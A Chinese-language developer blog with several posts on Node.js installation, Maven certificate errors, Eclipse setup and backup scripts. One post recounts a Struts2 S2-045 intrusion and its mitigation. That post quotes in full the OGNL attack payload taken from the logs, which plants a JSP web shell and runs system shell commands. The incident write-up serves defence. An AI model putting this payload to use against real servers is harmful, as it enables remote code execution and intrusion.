發表於 程式分享

redHat安裝nodeJS遇到之問題

在redHat安裝nodeJS,依網路上的指示

tar zxf node-v7.7.3.tar.gz
cd node-v7.7.3

./configure
make && make install

但在configure時即遇到error,經查是python版本過舊,
但換成python 3也不行,後來換成python 2.7.9,
指令如下

wget https://www.python.org/ftp/python/2.7.9/Python-2.7.9.tgz
tar zxf Python-2.7.9.tgz
cd Python-2.7.9
./configure --prefix=/usr/local
make && make install

後再執行node install的make出現

WARNING: C++ compiler too old, need g++ 4.8 or clang++ 3.4 (CXX=g++)
wget http://gcc.skazkaforyou.com/releases/gcc-4.8.2/gcc-4.8.2.tar.gz;
tar -zxvf gcc-4.8.2.tar.gz
cd gcc-4.8.2
mkdir build
cd build
yum install gmp-devel mpfr-devel libmpc-devel
../configure --prefix=/usr
make && make install

但出現太多error,最後決定放棄,直接用binary檔安裝,指令如下

wget https://nodejs.org/dist/latest/node-v7.7.3-linux-x86.tar.gz
tar -zvxf node-v7.7.3-linux-x86.tar.gz
mv node-v7.7.3-linux-x86 nodejs
mv nodejs /opt

再,編寫profile檔
vi /etc/profile,於檔尾加入如下

export NODE_HOME=/opt/nodejs
export PATH=$PATH:$NODE_HOME/bin
export NODE_PATH=$NODE_HOME/lib/node_modules

source /etc/profile

最後
node -v
可看到版號,即安裝完成

發表於 程式分享

Apache Struts2 S2-045漏洞處理方法

前幾日收到Apache Struts2 S2-045漏洞通知,因其說明如下∶ “使用Struts 2.3.5 、Struts 2.3.31、Struts 2.5~Struts 2.5.10等網站框架的伺服器,都受到駭客可以直接進行遠端執行程式的S2-045漏洞編號影響,可以導致網站資料外洩、被植入木馬程式等風險",而我使用的是2.3.24.1,故當下未太過在意,沒想到網站竟然被攻擊了,看來以後看到重大漏洞,還是需要仔細研究測試才保險。

一開始是同事的系統收到掃毒軟體病毒通知,發現Tomcat Server被植入病毒檔案,我去查我負責的Linux的Tomcat也發現被植入檔案,查看了Tomcat access log也未發現異常的request (以往查到的都是透過HTTP GET指令帶參數,總能由上傳檔案的日期時間比對access log看出端倪),後來只好由被植入的檔案時間查看log4j的log檔,但我並未看到當時有何error,但往前來卻看到了Exception log,然後查到有commons-fileupload-1.3.1.jar的Exception,看起來像是上傳檔案,但我在access log並未看到,其內容有如下訊息∶

%{(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#dns=’multipart/form-data’).(#cache=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#cache):((#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#cache)))).(#path=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’).getSession().getServletContext().getRealPath(‘/’)).(#shell='<%if(request.getParameter(“f")!=null)(new java.io.FileOutputStream(application.getRealPath(“/")+request.getParameter(“f"))).write(request.getParameter(“t").getBytes());%>’).(new java.io.BufferedWriter(new java.io.FileWriter(#path+’/thes.jsp‘).append(#shell)).close()).(#cmd=’echo Upload successful!’+#path+’/thes.jsp‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash‘,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

google後發現這就是Apache Struts2 S2-045漏洞攻擊,在HTTP header的參數Content-Type放入如上指令struts收到後就會執行如上OGNL表達式指令,上面的指令會在tomcat application目錄下產生thes.jsp執行平台上的cmd.exe(Windows)或bash shell(Linux),最後透過類似的指令可能一層層再後將病毒檔上傳至Server。

因為我並未使用檔案上傳,故我的第一個想法:移除commons-fileupload-1.3.1.jar,讓其不要執行OGNL (我也未使用此表達式)~當時,倒是未想到停用表達式的作法~但此法連Tomcat都啟動不了~

第二個想法就想停用fileupload功能,但並未找到。

第三個想法就是將fileupload可上傳檔案最大 size設定為0,上傳檔案類型設定為空。

此方式設定後,駭客就攻擊失敗了。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC 
 "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 
 "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
 <constant name="struts.multipart.maxSize" value="0" />
 ...

 <interceptor-ref name="fileUpload">
 <param name="allowedTypes">text/plain</param>
 </interceptor-ref> 
</struts>

後來我就先在測試機升級struts至2.3.32,但網站有些錯誤,查到因action class的欄位變數第1碼是小寫、第2碼大寫getSId()、setSId()會失效,需改成getsId()、setsId()。

@Entity
@Table(name = "TestTbl")
public class TestTbl implements Serializable {
 @Id
 @GeneratedValue(strategy = GenerationType.IDENTITY)
 @Column(name = "sId")
 protected int sId;

 public int getSId() {
 return sId;
 }

 public void setSId(int sId) {
 this.sId = sId;
 }
...
}

我同事因有檔案上傳功能,而且有交易,既不能將上傳檔案最大 size設定為0,也無法當天馬上升級struts至2.3.32,只好試strus.xml設定allowedTypes,但駭客仍然可以用Content Type攻擊,後來參考https://www.waitalone.cn/struts2-045-fix.html加入filter判斷,因當下無法全部確認整個網站用了那些file type,所以調整成判斷Content Type文字長度大於100為非法,但網站上傳的功能就失效,後來只好判斷Content Type的內容了~

發表於 程式分享

maven執行時出現PKIX path building failed的解法

在公司執行mvn install出現PKIX path building failed for https://repo.maven.apache.org (如下圖),終於找到解法,如下說明:

1.PNG

1.下載InstallCert.java並編譯

https://github.com/escline/InstallCert/blob/master/InstallCert.java

2.執行有錯誤

java InstallCert repo.maven.apache.org:443

2-1.PNG

2-2.PNG

請在Enter certificate to add to trusted keystore or ‘q’ to quit: [1]

請直接按Enter

2-3.PNG

2-4.PNG

3.將產生的憑證檔案jssecacerts放到jave runtime的lib/security目錄下

3.PNG

若有多個Java runtime,請確認maven執行時是用那個Java~

4.再次執行已能找到憑證,再次執行maven install…,已正確執行

java InstallCert repo.maven.apache.org:443

4.PNG

補充: IntelliJ IDEA build 專案出現如下錯誤訊息"PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target",原因是"沒辦法自動向INTERNET DLP (個資外洩偵測,上網流量會導入 DLP過濾) 設備要求憑證",解法如下

1.手動將該憑證匯入cacerts

C:\Program Files\Android\Android Studio\jre\lib\security>keytool -import -file E:\IK-CA.der -keystore cacerts -alias GlobalTrust

密碼: changeit
2.gradle.properties加上以下兩行

systemProp.javax.net.ssl.trustStore=C:/Program Files/Android/Android Studio/jre/lib/security/cacerts
systemProp.javax.net.ssl.trustStorePassword=changeit

發表於 程式分享

Eclipse開發CXF Web Service – Server 及 Client

Eclipse開發CXF Web Service – Server 及 Client之開發流程詳述如下檔案,請參考:
Eclipse_CXFServer__Client

發表於 程式分享

Eclipse中設定CXF 2.0 Library

1.下載cxf : http://cxf.apache.org/download.html

1

2.解壓縮至某路徑

2.PNG

3.Eclipse => Window => Preferences

=> Web Services => CXF 2.x Preferences => Click “Add…" Button

=> CXF home : Click “Browse…" Button,輸入步驟2路徑,

會自動帶出Version 及 Type

3.PNG

4.請記得勾選Version及確認Export runtime libraries…有被勾選,

Click “OK" Button

4.PNG

5.將此Library加入Project

Package Explorer => Click Project 右鍵 => Properties => Java Build Path

=> Tab “Libraries" => Click “Add Library…" Button

=> 選取"CXF Runtime" => Click “OK" Button

5.PNG

6.設定後如下圖:

6.PNG

7.CXF Library於Project顯示

7.PNG

 

發表於 程式分享

Eclipse / Java Build Path / Add Variable

以新增Spring Libary至Java Project來說明

1.將spring jar檔放在某個路徑

1

2.Eclipse => Window => Preferences

=> Java => Build Path => Classpath Variable => Click “New…" Button

=> Name: SPING_LIB

PATH => Click “Folder…" Button,選步驟1之檔案路徑

2

3.設定後如下圖:

3

4.將此變數加入Java Build Path

Package Explorer => Click Project 右鍵 => Properties => Java Build Path

=> Tab “Libraries" => Click “Add Variable…" Button

=> 選取"SPRING_LIB" => Click “OK" Button

4

5.設定後如下圖:

5

6.Spring Library於Project顯示

6

發表於 程式分享

現有Eclipse Web Project改成由Maven管理

覺得Maven真的很好用~要做套件的控管真的很方便

可惜公司的安控管死死的,不曉得網路那裡不通,所以只能自已在家使用~殘念

初體驗將現有Eclipse Web Project改成由Maven管理,

而用iMoive編輯好影片直接上傳至Youtube也是第一次~

發表於 程式分享

當owl-carousel js遇到angular js

以往在網頁做carousel,因RWD的關係,因mobile及PC、Pad顯示的數量會需要做兩個區塊,再依螢幕大小分別顯示及隱藏,今天發現有owl carousel套件,使用後可以只用一個區塊~
https://owlcarousel2.github.io/OwlCarousel2/

因為想練習angular js,但套用後發現owl carousel失效,研判應是$(‘.owl-carousel’).owlCarousel()先於angular js 的ng-repeat造成owl carousel不work,故需要先ng-repeat完成的事件,後來找到可用on-finish-render、.directive(‘onFinishRender’, function () {…}來處理,以下為範例:

21

原始檔: 
1. index.html下載
2. index.scss下載

發表於 程式分享

windows及linux備份指定檔案-依清單檔

一、Windows
1.清單檔: listfile.txt

assets\js\plugin\bootstrap-datepicker.min.js
assets\js\plugin\js-xlsx.min.js
WEB-INF\lib\bcprov-jdk16-146.jar
WEB-INF\lib\commons-collections-3.2.1.jar
WEB-INF\lib\commons-lang-2.4.jar

2.備份Shell: backup.cmd

set backuppath=%cd%
set dd=%date:~8,2%
set dm=%date:~5,2%
set dy=%date:~0,4%
set mydate=%dy%%dm%%dd%

D:
cd D:\GWork\Source\workspace\testtadm\WebContent
"C:\Program Files\7-Zip\7z.exe" a -ttar %backuppath%\backup_%mydate%.tar @%backuppath%\listfile.txt

二、Linux
1.清單檔: listfile.txt

assets/js/plugin/bootstrap-datepicker.min.js
assets/js/plugin/js-xlsx.min.js
WEB-INF/lib/bcprov-jdk16-146.jar
WEB-INF/lib/commons-collections-3.2.1.jar
WEB-INF/lib/commons-lang-2.4.jar

2.備份Shell: backup.sh

NOW_PATH=`pwd`
NOW_TIME=`date +'%Y%m%d%H%M%S'`

cd /usr/local/tomcat/webapps/testweb
tar -cvf ${NOW_PATH}/backup_${NOW_TIME}.tar --files-from ${NOW_PATH}/listfile.txt 

PS.執行前請記得chmod +x backup.sh,讓shell檔為可執行狀態

發表於 程式分享

javascript console

今日在facebook看到有人介紹console.dir()及console.table(),
所以趕緊筆記下來
1.https://developer.mozilla.org/en-US/docs/Web/API/Console/table
2.https://developer.mozilla.org/en-US/docs/Web/API/Console/dir
之前在debug array object或json都覺得很麻煩,
沒想到有這麼方便的工具~

PS.雖然chrome的套件也不錯用
(chrome-extension://lhkmoheomjbkfloacpgllgjcamhihfaj/index.html)